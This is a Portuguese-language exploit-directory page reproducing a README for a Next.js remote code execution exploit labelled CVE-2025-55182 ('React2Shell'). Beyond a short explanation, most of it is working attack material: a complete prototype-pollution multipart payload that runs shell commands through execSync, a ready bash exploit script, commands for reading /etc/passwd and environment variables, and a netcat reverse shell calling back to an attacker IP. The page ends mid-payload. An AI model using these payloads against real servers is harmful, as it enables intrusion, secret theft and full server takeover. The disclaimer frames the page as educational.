Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
react2shell-exploit — CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam React Server Components (RSC) e Server Actions. | Kitploit
Ferramentas/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam React Server Components (RSC) e Server Actions.

Ver Repositório
11há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 – React2Shell

Execução Remota de Código no Next.js

⚠️ Aviso: Esta documentação é fornecida apenas para fins educacionais e de pesquisa em segurança. Qualquer uso não autorizado dessas técnicas contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal.


📋 Índice

  1. Visão Geral
  2. Como Funciona
  3. Instalação e Configuração
  4. Exploração Passo a Passo
  5. Resultados e Impacto
  6. Estratégias de Mitigação

Visão Geral

CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam:

  • React Server Components (RSC)
  • Server Actions

Por que é Perigosa?

Um atacante pode obter Execução Remota de Código (RCE) no servidor explorando:

  1. Desserialização insegura de payloads RSC
  2. Poluição de protótipo via __proto__ e constructor
  3. Caminhos de execução dinâmicos no runtime do servidor Next.js

Consequência: Comandos arbitrários do sistema podem ser executados com os privilégios do processo Node.js.


Como Funciona

Estágio 1: Protocolo RSC do Next.js

O Next.js utiliza um protocolo proprietário multipart/form-data para comunicação entre cliente e servidor:

  • O cliente envia React Server Components para o servidor
  • O servidor os desserializa e processa
  • O resultado é retornado ao cliente
Cliente (Navegador)
    ↓
[payload multipart/form-data RSC]
    ↓
Servidor Next.js
    ↓
Desserialização + Execução
    ↓
Resposta

Estágio 2: A Fraqueza – Desserialização Insegura

A vulnerabilidade existe porque:

  1. Dados controlados pelo usuário não são validados antes da desserialização
  2. O acesso à cadeia de protótipos é permitido (__proto__, constructor)
  3. Certos campos são avaliados dinamicamente durante o processamento da requisição

Estágio 3: Ataque de Poluição de Protótipo

Um atacante pode criar um payload que modifica propriedades internas de objetos:

{
  "then": "$1:__proto__:then",  // Ataca a cadeia de protótipos
  "_response": {
    "_prefix": "código malicioso aqui"  // Injeção de código
  }
}

Explorando __proto__, o atacante polui o protótipo dos objetos JavaScript, afetando todos os objetos que herdam dele.

Estágio 4: Injeção de Código

Dentro do campo _prefix, o atacante injeta código JavaScript que:

  1. Acessa o módulo Node.js via process.mainModule.require()
  2. Carrega o módulo child_process
  3. Executa comandos do sistema usando execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Estágio 5: Extração do Resultado

O resultado do comando é escondido na resposta de erro:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

O Next.js retorna esse erro ao cliente, e a saída do comando fica visível no campo digest.


Instalação e Configuração

Pré-requisitos

  • Node.js 20
  • Burp Suite (ou ferramenta similar para interceptação de requisições)
  • curl ou Postman (para enviar payloads)

Passo 1: Clonar e Instalar o Servidor Vulnerável

# Clone o PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Instale o Node.js 20
nvm install 20
nvm use 20

# Instale as dependências
cd test-server
npm install

Passo 2: Iniciar o Servidor

npm run dev

O servidor agora está acessível em:

http://localhost:3000

Passo 3: Verificar se o Servidor Está Rodando

curl http://localhost:3000/

Nesta fase, o servidor se comporta normalmente.


Exploração Passo a Passo

Abordagem 1: Usando Burp Suite (Interceptação Manual)

Passo 1: Ativar Interceptação

  1. Abra o Burp Suite
  2. Vá para a aba Proxy → Intercept
  3. Ative Intercept is on
  4. Acesse http://localhost:3000/ no seu navegador

Passo 2: Interceptar a Requisição

Uma requisição GET será interceptada. Envie-a para a aba Repeater:

  1. Clique com o botão direito → Send to Repeater
  2. Vá para a aba Repeater

Passo 3: Substituir pelo Payload Malicioso

Substitua toda a requisição pelo seguinte payload:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Passo 4: Enviar a Requisição

Clique em Send


Abordagem 2: Script de Exploração Automatizada

Crie um arquivo exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Construir o payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Substituir o comando
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Enviar a requisição
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Torne-o executável:

chmod +x exploit.sh
./exploit.sh

Exemplos de Comandos

Listar Arquivos e Diretórios

COMMAND="ls -la /"

Obter Usuário Atual

COMMAND="whoami"

Ler um Arquivo

COMMAND="cat /etc/passwd"

Verificar Conexões de Rede

COMMAND="netstat -tuln"

Obter Variáveis de Ambiente

COMMAND="env"

Reverse Shell (Acesso Completo ao Servidor)

Para obter acesso completo a um shell interativo, use um reverse shell.

Na Máquina do Atacante: Escutar Conexões

ncat -lvnp 9009

Ou com netcat:

nc -lvnp 9009

No Alvo: Enviar Payload Reverse Shell

Modifique o payload com o seguinte comando (substitua <ATTACKER_IP> pelo seu endereço IP):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

O payload completo fica:

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
Baixar ferramenta